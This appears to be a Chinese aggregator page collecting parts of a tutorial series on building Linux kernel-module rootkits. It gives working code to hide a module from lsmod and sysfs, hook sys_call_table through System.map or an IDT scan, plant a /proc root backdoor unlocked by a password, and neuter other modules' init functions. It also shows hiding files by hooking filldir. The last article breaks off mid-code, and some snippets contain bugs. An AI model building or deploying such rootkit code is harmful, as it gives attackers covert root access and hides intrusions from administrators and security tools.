精华内容
下载资源
问答
  • 对于这个系列文章,我的规划如下:这一系列文章的重点集中在介绍linuxrootkit中最讨论最多也是最受欢迎的一种:loadablekernelmodulerootkit(LKMrootkit)。 首先介绍最基础的lkm模块的编写与加载以及如何让lsmod...

    对于这个系列文章,我的规划如下:这一系列文章的重点集中在介绍linux rootkit中最讨论最多也是最受欢迎的一种:loadable kernel module rootkit(LKM rootkit)。

    首先介绍最基础的lkm模块的编写与加载以及如何让lsmod命令无法发现我们的模块(也就是本文的内容),然后是介绍lkm rootkit中最重要的技术,系统调用挂钩,我将会给大家介绍三种不同的系统调用挂钩技术,以便于在不同的场景中选择最恰当的一种。接下来便是系统实战,使用我们之前的知识来进一步完善我们的rootkit,包括如何隐藏进程,隐藏端口,彻底隐藏lkm,以及如何向现有的系统LKM模块注射我们的代码来改造成我们自己的lkm模块。

    LKM(可加载内核模块)

    LKM的全称为Loadable Kernel Modules,中文名为可加载内核模块,主要作用是用来扩展linux的内核功能。LKM的优点在于可以动态地加载到内存中,无须重新编译内核。由于LKM具有这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。当然因为其优点,也经常被骇客用于rootkit技术当中。

     

    1.基本的LKM的编写

    下面是一个最基本的LKM的实现,接下来我会对这个例子进行讲解

    /*lkm.c*/
    
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/init.h>
    
    static int lkm_init(void)
    {
        printk("Arciryas:moduleloaded\n");
        return 0;
    }
    
    static void lkm_exit(void)
    {
        printk("Arciryas:moduleremoved\n");
    }
    
    module_init(lkm_init);
    module_exit(lkm_exit);
    

    这个程序并不是很复杂:其中我们的lkm_init()是初始化函数,在该模块被加载时,这个函数被内核执行,有点构造函数的感觉;与之相对应的,lkm_exit()是清除函数,当模块被卸载时,内核将执行该函数,有点类似析构函数的感觉,注意,如果一个模块未定义清除函数,则内核不允许卸载该模块。

    为什么我们的初始化与清除函数中,使用的是printk()函数,而并非是我们熟悉的printf()函数呢?注意下我们这个程序包含的头文件,在LKM中,是无法依赖于我们平时使用的C库的,模块仅仅被链接到内核,只可以调用内核所导出的函数,不存在可链接的函数库。这是内核编程与我们平时应用程序编程的不同之一。printk()函数将内容纪录在系统日志文件里,当然我们也可以用printk()将信息输出至控制台:

    printk(KERN_ALERT "output messages");

    其中KERN_ALERT指定了消息的优先级。

    module_init和module_exit是内核的特殊宏,我们需要利用这两个特殊宏告诉内核,我们所定义的初始化函数和清除函数分别是什么。

    代码的描述就到这里,接下来我们需要对我们的LKM程序进行编译,下面是编译所需的Makefile:

    obj-m:=lkm.o
     
    KDIR:=/lib/modules/$(shell uname -r)/build
    PWD:=$(shell pwd)
     
    default:
    	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
    clean:
    	rm -rf *.o  .*.cmd *.mod.c .tmp_versions Module.symvers modules.order 

    接下来我们键入make命令开始编译,除去编译的中间产物外,我们仅仅需要的是lkm.ko。

    装载LKM我们需要insmod命令。键入

    insmod lkm.ko

    回车,这时你会发现什么都没有发生,没有关系,这是因为我们并没有对于我们的消息指定KERN_ALERT优先级,此时printk将消息传输到了系统日志syslog中,我们可以在/var/log/messages中查看,当然,在不同的发行版以及不同的syslog配置中,该文件的路径不同。

    我们可以cat /var/log/messages或者利用dmesg命令查看printk输出的消息,如下图所示:

    为了方便起见我只显示了最后一条信息,也就是我们LKM中初始化函数所输出的信息。

    我们再输入lsmod命令查看我们的模块。lsmod命令的作用是显示已载入系统的模块。如下图:

    其中lkm当然是我们的模块名称,676则代表的是模块大小,0表示模块的被使用次数。有兴趣的同学可以自己试试lsmod命令查看下系统所加载的其他模块。

    OK,现在我们可以对我们的LKM进行卸载了,卸载LKM的命令是rmmod。键入

    rmmod lkm.ko

    后,我们再查看下系统日志:

    可以看出清除函数中的信息也成功输出,这时再试试lsmod命令,你会发现我们的模块在其中不复存在了。

     

    2.从lsmod命令中隐藏我们的模块

    现在有个小问题,如果我们既不想让dmesg也不想让lsmod这两个命令察觉到我们的模块呢?对于rootkit来说,隐蔽性是非常重要的,一个lsmod命令就可以让我们的lkm遁形,这显然谈不上隐蔽。对于dmesg命令,我们只要删除掉printk()函数就好,这个函数所起的仅仅是示范作用。但是如何让lsmod命令无法显示我们的模块呢。

     

    在这里我简单介绍下lsmod原理,以便于读者理解之后我是如何在lsmod命令中隐藏我的模块的。

    lsmod命令是通过/proc/modules来获取当前系统模块信息的。而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。

    通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时,模块便与一个 struct module结构体相关联,并成为内核的一部分,所有的内核模块都被维护在一个全局链表中,链表头是一个全局变量struct module *modules。任何一个新创建的模块,都会被加入到这个链表的头部,通过modules->next即可引用到。为了让我们的模块在lsmod命令中的输出里消失掉,我们需要在这个链表内删除我们的模块:

    list_del_init(&__this_module.list);

    list_del_init函数定义于include/linux/list.h中,我们可以看下它的实现:

    static inline void list_del_init (struct list_head * entry)
    {
         __list_del (entry->prev, entry->next);
         INIT_LIST_HEAD (entry);
    }
     
    static inline void __list_del (struct list_head * prev, struct list_head * next)
    {
         next-> prev = prev;
         prev-> next = next;
    }
     
    static inline void INIT_LIST_HEAD (struct list_head * list)
    {
         list-> next = list;
         list-> prev = list;
    }

    现在我们将"list_del_init(&__this_module.list);"加入到我们的初始化函数中,保存,编译,装载模块,再输入lsmod,这时你会发现,输出中我们的模块已经找不到了,我们在lsmod命令中成功的隐藏了我们的模块!

     

    3.从sysfs中隐藏我们的模块

    当然我们还不能高兴的太早,除了lsmod命令和相对应的查看/proc/modules以外,我们还可以在sysfs中,也就是通过查看/sys/module/目录来发现现有的模块。

    ‍这个问题也很好解决,在初始化函数中添加一行代码即可解决问题:

    kobject_del(&THIS_MODULE->mkobj.kobj);

    THIS_MODULE在include/linux/module.h中的定义如下

    extern struct module __this_module;
    #define THIS_MODULE (&__this_module)

    可以看出THIS_MODULE的作用是指向当前模块。&THIS_MODULE->mkobj.kobj则代表的是struct module结构体的成员struct module_kobject的一部分,结构体的定义如下:

    struct module_kobject{
          struct kobject kobj;
          struct module *mod;
    };

    其中kobj是一个struct kobject结构体,而kobject是组成设备模型的基本结构。

    这时我们又要简单介绍下sysfs这个概念,sysfs是一种基于ram的文件系统,它提供了一种用于向用户空间展现内核空间里的对象、属性和链接的方法。

    sysfs与kobject层次紧密相连,它将kobject层次关系表现出来,使得用户空间可以看见这些层次关系。

    通常,sysfs是挂在在/sys目录下的,而/sys/module是一个sysfs的一个目录层次, 包含当前加载模块的信息. 我们通过kobject_del()函数删除我们当前模块的kobject就可以起到在/sys/module中隐藏lkm的作用。

    好了,这时再将"kobject_del(&THIS_MODULE->mkobj.kobj);"也添加在初始化函数里,保存,编译,装载模块,然后再去看看/sys/module,是不是什么也看不到了?

    问与答

    问:加了隐藏sysfs和lsmod的代码以后,lsmod确实看不到了,但是卸载模块的时候出错

    答:当然了,是因为我们从内核模块链表中删除了我们的模块结构,所以无法rmmod,如果要正常rmmod,可以在rmmod之前在内核链表中恢复我们的模块(比如通过hook rmmod调用的syscall这种方法),但是这样代码就有点太复杂了,我就省略了…这种情况你就直接重启把…

    结语

    对于lkm的入门以及lkm的简单隐藏办法已经介绍完了,但是这只是通向lkm rootkit的长征路上第一步,在下次的文章中,我会介绍lkm rootkit编写中最为关键的技术:system call hook,也就是系统调用挂钩技术。

    参考资料

    关于lkm的编写,《linux设备驱动程序(第三版)》的第二章"构造和运行模块"里有基础的讲解。
    关于proc和sysfs文件系统,可以参考《深入linux内核架构》中的第十章"无持久存储的文件系统"。

     

    展开全文
  • 本次环境依然是linux 2.6系列内核,ubuntu10.04。 本篇文章及上篇文章的示例代码:Github链接。 通常,通过rootkit来实现对系统控制的主要途径之一就是通过对系统调用进行挂钩(Hook)来实现的,这是因为系统调用...

    本篇文章按照之前文章所说的,来介绍linux rootkit中的系统调用挂钩技术。

     

    1.背景

    本次环境依然是linux 2.6系列内核,ubuntu10.04。

    本篇文章及上篇文章的示例代码:Github链接

    通常,通过rootkit来实现对系统控制的主要途径之一就是通过对系统调用进行挂钩(Hook)来实现的,这是因为系统调用本身的重要性质决定的。系统调用提供用户程序与操作系统之间的接口,由操作系统内核来提供,运行在核心态,这意味着一旦掌握系统调用,我们就可以掌握操作系统的权限和功能,来实现用户态所无法完成的事情。而掌握系统调用通常是通过对系统调用挂钩来进行的,也就是通过实现一个自己的系统调用例程来替换操作系统中的系统调用例程。

    当然我们也可以通过其他的办法来实现rootkit对系统的控制,比如对内存直接进行操作,或者修改已有的内核模块,这些我们后面会讨论,今天的主题还是系统调用。

    往日的岁月总是美好的,在曾经的linux2.4系列内核中,我们可以轻易的获取系统调用表(sys_call_table),并对其进行修改,指向我们自己实现的系统调用历程,从而实现挂钩。(说句题外话,FreeBSD6.0当中的系统调用挂钩方法也是类似的,具体可以参考Joseph Kong的《Designing BSD Rookit》一书,在我学习rootkit过程中该书给我了很大的指导与启发。)

    extern void *sys_call_table[];
    ...
    ...
    sys_call_table[__NR_syscall] = (our_sys_call_func);

    但是linux2.6版本以后,sys_call_table[]不再是全局变量了,无法通过简单的”extern” 就可以得到它了。当然,天无绝人之路,我们可以曲线救国。在novice同学文章中,他选择了使用暴力搜索内存空间法来获取sys_call_table,简洁有效。不过我们这次将介绍另外两种不同的办法来搞定sys_call_table。

     

    2.通过system.map获取系统调用表

    我介绍的第一种方法,也是我认为获取系统调用表的最最简单的方法,是通过system.map来定位系统调用表在内存中的位置。

    什么是是system.map?在我们利用它前,首先需要了解它。System.map,顾名思义,系统的映射,但具体映射的是什么东西?其实是内核符号及其所在内存地址两者的映射。通过地址,我们可以找到符号,也就是找到变量及函数;通过符号,我们也可以得知其所在地址。更多请参考该网站。在这里,我们需要通过符号来获取地址,我们已知的符号是sys_call_table,系统调用表,我们在system.map里便可以找到系统调用表所对应,也就是所在的内存地址。说了这么多,该如何具体操作呢。System.map位于/boot目录下,我们可以通过cat命令进行查看。(不同内核版本system.map的后缀不同,需要注意),由于内容太多,我们只展现部分内容。

    然后我们来找找系统调用表的内存地址究竟是多少。(注意每个机器的地址会不同,具体以自己的机器为准。我在github中提供的示例代码中sys_call_table的地址是我机器上的地址,如果要使用示例代码,需要根据本地情况修改sys_call_table的内存地址)

    OK,接下来的事情也就简单了,我先上代码,这里我们挂钩的是sys_mkdir系统调用:

    asmlinkage long (*real_mkdir)(const char __user *pathname, umode_t mode);
    asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode)
    {
        printk("Arciryas:mkdir-%s\n", pathname);
    
        return (*real_mkdir)(pathname, mode);
    }
    
    real_mkdir = (void *)sys_call_table[__NR_mkdir];
    sys_call_table[__NR_mkdir] = fake_mkdir;
    

    相信大家基本都能看懂,我这里解释下那个”__NR_mkdir”是怎么回事,参见该网址

    这里的”__NR_xxxx”是unistd.h中定义的宏,代表着系统调用号,而系统调用号对应着系统调用表的相应的入口,具体参考 该网址

    当然不能这样就完了,内存可不是你想修改就修改的,就像之前novice同学提到的,我们需要关闭写保护,因为之前提过我就不再赘述了。我直接上代码:

    static int lkm_init(void)
    {
        write_cr0(read_cr0() & (~0x10000));
        real_mkdir = (void *)sys_call_table[__NR_mkdir];
        sys_call_table[__NR_mkdir] = fake_mkdir;
        write_cr0(read_cr0() | 0x10000);
        printk("Arciryas:module loaded\n");
        return 0;
    }
    
    static void lkm_exit(void)
    {
        write_cr0(read_cr0() & (~0x10000));
        sys_call_table[__NR_mkdir] = real_mkdir;
        write_cr0(read_cr0() | 0x10000);
        printk("Arciryas:module removed\n");
    }
    

    ok,我们的任务成功告一段落,makefile文件和上篇文章一样,我们现在就来make,insmod,然后创建一个新文件夹,看看我们的lkm有没有正常运作,如图:

    看来一切都在我们掌握之中!

     

    3.通过IDT(中断描述符表)获取系统调用表

    为什么我们要介绍不同的几种获取sys_call_table的办法?一招鲜没法吃遍天,就像novice在该系列第二篇文章中所说,暴力搜索内存空间法来获取sys_call_table存在被欺骗的可能,而我们刚才介绍的通过system.map的方法也有缺陷,要知道system.map对于内核来说并非必不可少的,如果没有system.map,我们该怎么做?于是接下来我们将要补充的是第三种方法:通过IDT(中断描述符表)获取系统调用表。

    首先,我们还是需要理解下什么是IDT,以及为什么通过IDT可以得到sys_call_table。中断描述符表(Interrupt Descriptor Table,IDT),其作用是将每个异常或中断向量分别与它们的处理过程联系起来,每一个向量在表中有相应的中断或异常处理程序的入口地址。当系统发生中断时,内核根据异常或中断向量来在IDT中选择对应的处理程序的入口地址,进而对中断或异常进行处理。然后是重点:linux中的系统调用,也是通过一个特殊的中断——0×80号中断来实现的(补充一句,linux的系统调用还可以通过sysenter方法进入,所以这里介绍的通过0×80中断获取sys_call_table方法也是有局限的):

    1.用户进程在执行系统调用前,先把系统调用名(实际上是系统调用号)、输入参数等放到寄存器上(EBX,ECX等寄存器) 

    2.然后发出int 0×80指令,即触发128号中断 

    3.系统暂停用户进程,根据128号中断找到中断服务程序system_call

    4.128号中断的中断服务程序system_call紧接着执行。在进行必要的处理后,统一调用 call sys_call_table(,eax,4)来调用sys_call_table表中的系统调用服务,eax存放的即时系统调用号;执行完毕后它又会把输出结果放到寄存器中。

    5.系统恢复用户进程,进程从寄存器中取到自己想要的东西,然后继续执行。

    ok,在这个过程中,我们发现了sys_call_table的出现。在具体操作中,我们应该如何来通过IDT来得到系统调用表呢,以下是我们所需要完成的程序的核心思路:

    1.利用sidt 指令,得到IDT

    2.在IDT中找到0×80号中断的中断服务程序的地址system_call

    3.从0×80号中断的中断服务程序system_call的地址开始搜索硬编码 \xff\x14\x85,这块硬编码的后面紧接着就是系统调用表的地址了,因为x86 call指令的二进制格式为\xff\x14\x85,而中断服务程序调用系统调用的语句是call sys_call_table(,eax,4)

    IDT和系统调用的关联,以及通过IDT获取sys_call_table的思路已经介绍完毕,接下来我们用代码来进一步说明:

    struct 
    {
        unsigned short size;
        unsigned int addr;
    } __attribute__((packed)) idtr;
     
    struct
    {
        unsigned short offset_1; /*offset bits 0..15*/
        unsigned short selector; /*a code segment selector in GDT or LDT*/
        unsigned char  zero; /*unused, set to 0*/
        unsigned char  type_attr; /*type and attributes*/
        unsigned short offset_2; /*offset bits 16..31*/
    } __attribute__((packed)) idt;
    

    这两个结构体代表着IDTR和IDT表项,IDTR是中断描述符表寄存器(Interrupt Descriptor Table Register),用来定位IDT的位置,因为IDT表可以驻留在线性地址空间的任何地方,所以处理器专门有寄存器来储存IDT的位置,也就是IDTR寄存器。我们通过sidt指令加载IDTR寄存器的内容,然后储存到我们自己的这个结构体中,然后通过其找到IDT的位置所在,将IDT存到我们所设的结构体中,便于操作。

    unsigned long  *find_sys_call_table(void)
    {
        unsigned int sys_call_off;
        char *p;
        int i;
        unsigned int ret;
    
        asm ("sidt %0" : "=m" (idtr));
        printk("Arciryas:idt table-0x%x\n", idtr.addr);
        memcpy(&idt, idtr.addr + 8 * 0x80, sizeof(idt));
        sys_call_off = ((idt.offset_2 << 16) | idt.offset_1);
        p = sys_call_off;
        for (i = 0; i < 100; i++)
        {
            if ((p[i] == '\xff') && (p[i + 1] == '\x14') && (p[i + 2] == '\x85'))
            {
                ret = *(unsigned int *)(p + i + 3);
            }
        }
    
        printk("Arciryas:sys_call_table-0x%x\n", ret);
        return (unsigned long**)ret;
    }
    

    这是我们这次获取系统调用操作的核心代码,我将详细说明:

    asm("sidt %0":"=m"(idtr));

    这是使用内联汇编的办法调用sidt这一汇编指令,然后将加载出的中断描述符表寄存器中的内容存入我们之前准备好的的idtr结构体。

    memcpy(&idt, idtr.addr+8*0x80, sizeof(idt));

    这条语句的目的是获取0×80中断所对应的IDT中的表项。中断描述符表共256项,每项8字节,每项代表一种中断类型。所以我们要从IDR起始地址后的8*0×80位置拷贝一个IDT表项大小的数据,也就是0×80中断所对应的IDT中的表项,到我们之前准备好的结构体中。

    sys_call_off = ((idt.offset_2<<16) | idt.offset_1);
    

    这条语句获取的是128号中断的中断服务程序system_call的地址,idt.offset_1和idt.offset_2代表什么参考我之前的注释。

    for (i = 0; i < 100; i++)
    {
        if ((p[i] == '\xff') && (p[i + 1] == '\x14') && (p[i + 2] == '\x85'))
        {
            ret = *(unsigned int *)(p + i + 3);
        }
    }
    

    最后一击,搜索\xff\x14\x85,得到sys_call_table地址。

    具体挂钩操作在之前介绍system.map方法的内容中有叙述,在此不再赘述。

    代码完成了,看看实验结果如何:

    显然我们成功达成了目标。

     

    4.结语

    技多不压身,多掌握几种不同的系统调用挂钩法不但有助于开拓我们的视野,还可以让我们在不同的情况下选择更合适的办法来hook。当然系统调用的挂钩法远远不止我介绍的两种和novice同学所介绍的,其他还包括模拟call

    sys_call_table(,eax,4)方法,dump_stack法(本质和system.map方法接近),栈结构获取法等等。这些有兴趣的同学可以自行研究,本系列文章就不再进行讲述了,请大家期待接下来的文章!

     

    5.参考链接

    http://wiki.osdev.org/Interrupt_Descriptor_Table    对IDT的介绍

    http://rlworkman.net/system.map/     对system.map的介绍

     

    展开全文
  • 本文所需的完整代码位于笔者的代码仓库:https://github.com/NoviceLive/research-rootkit。 测试建议:不要在物理机测试!不要在物理机测试! 不要在物理机测试! 概要 在上一篇文章中笔者详细地阐述了基于直接...

    本文所需的完整代码位于笔者的代码仓库:https://github.com/NoviceLive/research-rootkit

    测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试!

    概要

    在 上一篇文章中笔者详细地阐述了基于直接修改系统调用表 (即 sys_call_table /ia32_sys_call_table )的挂钩, 文章强调以代码与动手实验为核心。

    长话短说,本文也将以同样的理念带领读者一一缕清 Rootkit 必备的基本功能,包括提供 root 后门,控制内核模块的加载, 隐藏文件(提示:这是文章的重点与核心内容),隐藏进程,隐藏网络端口,隐藏内核模块等。

    短话长说,本文不打算给大家介绍剩下的几种不同的系统调用挂钩技术:比如说,修改 32 位系统调用( 使用 int $0x80 ) 进入内核需要使用的IDT (Interrupt descriptor table / 中断描述符表) 项, 修改 64位系统调用( 使用 syscall )需要使用的MSR (Model-specific register / 模型特定寄存器,具体讲, 64位系统调用派遣例程的地址位于 MSR_LSTAR );又比如基于修改系统调用派遣例程 (对 64 位系统调用而言也就是entry_SYSCALL_64 ) 的钩法; 又或者,内联挂钩 / InlineHooking

    这些钩法我们以后再谈,现在,我们先专心把一种钩法玩出花样。上一篇文章讲的钩法,也就是函数指针的替换,并不局限于钩系统调用。本文会将这种方法应用到其他的函数上。

     

    第一部分:Rootkit 必备的基本功能

    1. 提供 root 后门

    这个特别好讲,笔者就拿提供 root 后门这个功能开刀了。

    大家还记得前段时间 全志 (AllWinner ) 提供的 Linux 内核里面的 root 后门吧,不了解的可以看一下 FB 之前的文章,外媒报道:中国知名ARM制造商全志科技在Linux中留下内核后门

    我们拿后门的那段源代码改改就好了。

    具体说来,逻辑是这样子的, 我们的内核模块在/proc 下面创建一个文件,如果某一个进程向这个文件写入特定的内容(读者可以把这个“特定的内容”理解成口令或者密码),我们的内核模块就把这个进程的uid 与 euid等等全都设置成 0, 也就是 root 账号的。这样,这个进程就拥有了 root权限。

    不妨拿 全志 root 后门这件事来举个例子,在运行有后门的 Linux 内核的设备上, 进程只需要向/proc/sunxi_debug/sunxi_debug 写入 rootmydevice 就可以获得 root权限。

    另外,我们的内核模块创建的那个文件显然是要隐藏掉的。考虑到现在还没讲文件隐藏(本文后面会谈文件隐藏),所以这一小节的实验并不包括将创建出来的文件隐藏掉。

    下面我们看看怎样在内核模块里创建/proc 下面的文件。

    全志 root 后门代码里用到的create_proc_entry 是一个过时了的API,而且在新内核里面它已经被去掉了。 考虑到笔者暂时还不考虑兼容老的内核,所以我们直接用新的API, proc_create 与 proc_remove , 分别用于创建与删除一个/proc 下面的项目。

    函数原型如下。

    # include <linux/proc_fs.h>
    
    static inline struct proc_dir_entry *
    proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);
    
    void
    proc_remove(struct proc_dir_entry *entry);
    

    proc_create 参数的含义依次为,文件名字,文件访问模式,父目录,文件操作函数结构体。 我们重点关心第四个参数:struct file_operations里面是一些函数指针,即对文件的各种操作的处理函数, 比如,读( read)、写( write )。 该结构体的定义位于 linux/fs.h,后面讲文件隐藏的时候还会遇到它。

    创建与删除一个 /proc文件的代码示例如下。

    struct proc_dir_entry *entry;
    
    entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);
    
    proc_remove(entry);
    

    实现我们的需求只需要提供一个写操作( write )的处理函数就可以了,如下所示。

    ssize_t
    write_handler(struct file * filp, const char __user *buff,
                  size_t count, loff_t *offp);
    
    struct file_operations proc_fops = {
        .write = write_handler
    };
    
    ssize_t
    write_handler(struct file * filp, const char __user *buff,
                  size_t count, loff_t *offp)
    {
        char *kbuff;
        struct cred* cred;
    
        // 分配内存。
        kbuff = kmalloc(count, GFP_KERNEL);
        if (!kbuff) {
            return -ENOMEM;
        }
    
        // 复制到内核缓冲区。
        if (copy_from_user(kbuff, buff, count)) {
            kfree(kbuff);
            return -EFAULT;
        }
        kbuff[count] = (char)0;
    
        if (strlen(kbuff) == strlen(AUTH) &&
            strncmp(AUTH, kbuff, count) == 0) {
    
            // 用户进程写入的内容是我们的口令或者密码,
            // 把进程的 ``uid`` 与 ``gid`` 等等
            // 都设置成 ``root`` 账号的,将其提权到 ``root``。
            fm_alert("%s\n", "Comrade, I will help you.");
            cred = (struct cred *)__task_cred(current);
            cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
            cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;
            fm_alert("%s\n", "See you!");
        } else {
            // 密码错误,拒绝提权。
            fm_alert("Alien, get out of here: %s.\n", kbuff);
        }
    
        kfree(buff);
        return count;
    }
    

    实验

    编译并加载我们的内核模块,以 Kali 为例:Kali 默认只有 root 账号, 我们可以用useradd <username> 添加一个临时的非 root 账号来运行提权脚本(r00tme.sh )做演示。 效果参见下图, 可以看到在提权之前用户的uid 是 1000,也就是普通用户,不能读取 /proc/kcore ; 提权之后,uid 变成了0,也就是超级用户,可以读取 /proc/kcore 。

     

    2. 控制内核模块的加载

    想象一下,在一个月黑风高的夜晚,邪恶的读者(误:善良的读者)通过某种手段(可能的经典顺序是RCE +LPE , Remote CodeExecution / 远程代码执行 + Local Privilege Escalation / 本地特权提升)得到了某台机器的 root 命令执行; 进而执行 Rootkit 的 Dropper程序释放并配置好 Rootkit, 让其进入工作状态。

    这时候,Rootkit 首先应该做的并不是提供 root 后门;而是,一方面,我们应该尝试把我们进来的门(漏洞)堵上, 避免 其他不良群众乱入,另一方面,我们希望能控制好其他程序(这个其他程序主要是指反 Rootkit 程序与 其他 不良 Rootkit),使其不加载 其他 不良内核模块与我们在内核态血拼。

    理想状态下,我们的 Rootkit 独自霸占内核态, 阻止所有不必要的代码(尤其是反 Rootkit 程序与 其他 不良 Rootkit)在内核态执行。当然,理想是艰巨的,所以我们先做点容易的,控制内核模块的加载。

    控制内核模块的加载,我们可以从通知链机制下手。通知链的详细工作机制读者可以查看参考资料;简单来讲,当某个子系统或者模块发生某个事件时,该子系统主动遍历某个链表,而这个链表中记录着其他子系统或者模块注册的事件处理函数,通过传递恰当的参数调用这个处理函数达到事件通知的目的。

    具体来说,我们注册一个模块通知处理函数,在模块完成加载之后、开始初始化之前, 即模块状态为 MODULE_STATE_COMING, 将其初始函数掉包成一个什么也不做的函数。这样一来,模块不能完成初始化,也就相当于残废了。

    笔者决定多读读代码,少讲理论,所以我们先简要分析一下内核模块的加载过程。 相关代码位于内核源码树的kernel/module.c 。 我们从 init_module 开始看。

    SYSCALL_DEFINE3(init_module, void __user *, umod,
             unsigned long, len, const char __user *, uargs)
    {
         int err;
         struct load_info info = { };
    
         // 检查当前设置是否允许加载内核模块。
         err = may_init_module();
    
         if (err)
             return err;
    
         pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
                umod, len, uargs);
    
         // 复制模块到内核。
         err = copy_module_from_user(umod, len, &info);
         if (err)
             return err;
    
         // 交给 ``load_module`` 进一步处理。
         return load_module(&info, uargs, 0);
    }
    

    模块加载的主要工作都是 load_module 完成的,这个函数比较长,这里只贴我们关心的一小段。

    static int load_module(struct load_info *info, const char __user *uargs,
                int flags)
    {
         // 这儿省略若干代码。
    
         /* Finally it's fully formed, ready to start executing. */
         // 模块已经完成加载,可以开始执行了(但是还没有执行)。
         err = complete_formation(mod, info);
         if (err)
             goto ddebug_cleanup;
    
         // 我们注册的通知处理函数会在 ``prepare_coming_module`` 的
         // 时候被调用,完成偷天换日。在下面我们还会分析一下这个函数。
         err = prepare_coming_module(mod);
         if (err)
             goto bug_cleanup;
    
         // 这儿省略若干代码。
    
         // 在 ``do_init_module`` 里面,模块的初始函数会被执行。
         // 然而在这个时候,我们早就把他的初始化函数掉包了(/偷笑)。
         return do_init_module(mod);
    
         // 这儿省略若干代码:错误时释放资源等。
    }
    
    static int prepare_coming_module(struct module *mod)
    {
         int err;
    
         ftrace_module_enable(mod);
         err = klp_module_coming(mod);
         if (err)
             return err;
    
         // 就是这儿!调用通知链中的通知处理函数。
         // ``MODULE_STATE_COMING`` 会原封不动地传递给我们的处理函数,
         // 我们的处理函数只需处理这个通知。
         blocking_notifier_call_chain(&module_notify_list,
                          MODULE_STATE_COMING, mod);
         return 0;
    }
    

    说的具体点, 我们注册的通知链处理函数是在 notifier_call_chain函数里被调用的,调用层次为: blocking_notifier_call_chain ->__blocking_notifier_call_chain -> notifier_call_chain 。有疑惑的读者可以细致地看看这部分代码, 位于内核源码树的kernel/notifier.c 。

    代码分析告一段落,接下来我们看看如何注册模块通知处理函数。用于描述通知处理函数的结构体是 struct notifier_block, 定义如下 。

    typedef  int (*notifier_fn_t)(struct notifier_block *nb,
                 unsigned long action, void *data);
    
    struct notifier_block {
         notifier_fn_t notifier_call;
         struct notifier_block __rcu *next;
         int priority;
    };
    

    注册或者注销模块通知处理函数可以使用 register_module_notifier 或者unregister_module_notifier ,函数原型如下。

    int
    register_module_notifier(struct notifier_block *nb);
    
    int
    unregister_module_notifier(struct notifier_block *nb);
    

    编写一个通知处理函数,然后填充 struct notifier_block 结构体, 最后使用register_module_notifier 注册就可以了。代码片段如下。

    int
    module_notifier(struct notifier_block *nb,
                    unsigned long action, void *data);
    
    struct notifier_block nb = {
        .notifier_call = module_notifier,
        .priority = INT_MAX
    };
    

    上面的代码是声明处理函数并填充所需结构体; 下面是处理函数具体实现。

    int
    fake_init(void);
    void
    fake_exit(void);
    
    
    int
    module_notifier(struct notifier_block *nb,
                    unsigned long action, void *data)
    {
        struct module *module;
        unsigned long flags;
        // 定义锁。
        DEFINE_SPINLOCK(module_notifier_spinlock);
    
        module = data;
        fm_alert("Processing the module: %s\n", module->name);
    
        //保存中断状态加锁。
        spin_lock_irqsave(&module_notifier_spinlock, flags);
        switch (module->state) {
        case MODULE_STATE_COMING:
            fm_alert("Replacing init and exit functions: %s.\n",
                     module->name);
            // 偷天换日:篡改模块的初始函数与退出函数。
            module->init = fake_init;
            module->exit = fake_exit;
            break;
        default:
            break;
        }
    
        // 恢复中断状态解锁。
        spin_unlock_irqrestore(&module_notifier_spinlock, flags);
    
        return NOTIFY_DONE;
    }
    
    
    int
    fake_init(void)
    {
        fm_alert("%s\n", "Fake init.");
    
        return 0;
    }
    
    
    void
    fake_exit(void)
    {
        fm_alert("%s\n", "Fake exit.");
    
        return;
    }
    

    实验

    测试时我们还需要构建另外一个简单的模块( test )来测试,从下图可以看到在加载用于控制模块加载的内核模块( komonko ) 之前,test 的初始函数与退出函数都正常的执行了; 在加载 komonko 之后,无论是加载 test 还是卸载 test, 它的初始函数与退出函数都没有执行,执行的是我们掉包后的初始函数与退出函数。

     

    3. 隐藏文件

    说好的重点内容文件隐藏来了。不过说到文件隐藏,我们不妨先看看文件遍历的实现, 也就是系统调用getdents / getdents64 ,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c ),我们可以看到如下调用层次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->这儿省略若干层次 -> struct dir_context 里的 actor ,也就是filldir 。

    filldir 负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里。如果我们钩掉 filldir ,并在我们的钩子函数里对某些特定的记录予以直接丢弃,不填到缓冲区里,上层函数与应用程序就收不到那个记录,也就不知道那个文件或者文件夹的存在了,也就实现了文件隐藏。

    具体说来,我们的隐藏逻辑如下: 篡改根目录(也就是“/”)的 iterate为我们的假 iterate , 在假函数里把 struct dir_context 里的 actor替换成我们的 假 filldir ,假 filldir 会把需要隐藏的文件过滤掉。

    下面是假 iterate 与 假 filldir 的实现。

    int
    fake_iterate(struct file *filp, struct dir_context *ctx)
    {
        // 备份真的 ``filldir``,以备后面之需。
        real_filldir = ctx->actor;
    
        // 把 ``struct dir_context`` 里的 ``actor``,
        // 也就是真的 ``filldir``
        // 替换成我们的假 ``filldir``
        *(filldir_t *)&ctx->actor = fake_filldir;
    
        return real_iterate(filp, ctx);
    }
    
    
    int
    fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                 loff_t offset, u64 ino, unsigned d_type)
    {
        if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
            // 如果是需要隐藏的文件,直接返回,不填到缓冲区里。
            fm_alert("Hiding: %s", name);
            return 0;
        }
    
        /* pr_cont("%s ", name); */
    
        // 如果不是需要隐藏的文件,
        // 交给的真的 ``filldir`` 把这个记录填到缓冲区里。
        return real_filldir(ctx, name, namlen, offset, ino, d_type);
    }
    

    钩某个目录的 struct file_operations 里的函数, 笔者写了一个通用的宏。

    # define set_f_op(op, path, new, old)                       \
        do {                                                    \
